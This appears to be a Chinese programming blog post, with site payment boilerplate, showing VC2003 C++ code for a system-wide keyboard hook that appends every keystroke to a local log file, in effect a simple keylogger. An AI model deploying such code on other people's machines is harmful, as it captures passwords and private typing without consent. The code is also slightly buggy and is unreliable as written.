键盘HOOK的简单实现(VC2003)

KeyProcHook.h文件代码 #pragma once #include class KeyProcHook { public: KeyProcHook(void); ~KeyProcHook(void); bool InstallHOOK(HINSTANCE hinstance); bool UninstallHOOK(void); }; KeyProcHook.cpp文件代码 #include "StdAfx.h" #include "./KeyProcHook.h" #pragma data_seg ("shared") HINSTANCE g_hInst; static HHOOK g_hHook = NULL; #pragma data_seg () LRESULT CALLBACK KeyboardProc(int iCode,WPARAM wParam,LPARAM lParam); KeyProcHook::KeyProcHook(void) { } KeyProcHook::~KeyProcHook(void) { } // bool KeyProcHook::InstallHOOK(HINSTANCE hinstance) { g_hInst = AfxGetInstanceHandle(); g_hHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,0); if (g_hHook) return TRUE; else return FALSE; } // bool KeyProcHook::UninstallHOOK(void) { if (UnhookWindowsHookEx(g_hHook)==0) return FALSE; else return TRUE; } // LRESULT CALLBACK KeyboardProc( int iCode, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { int vKey = wParam; // Record the key for testing char ch = vKey; char str[10]="/0"; FILE *fp; fp=fopen("c://logfile.txt","a+"); fprintf(fp,"%C",ch); //fprintf(fp,"%s%c",str,ch); fclose(fp); return CallNextHookEx(g_hHook,iCode,wParam,lParam); }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值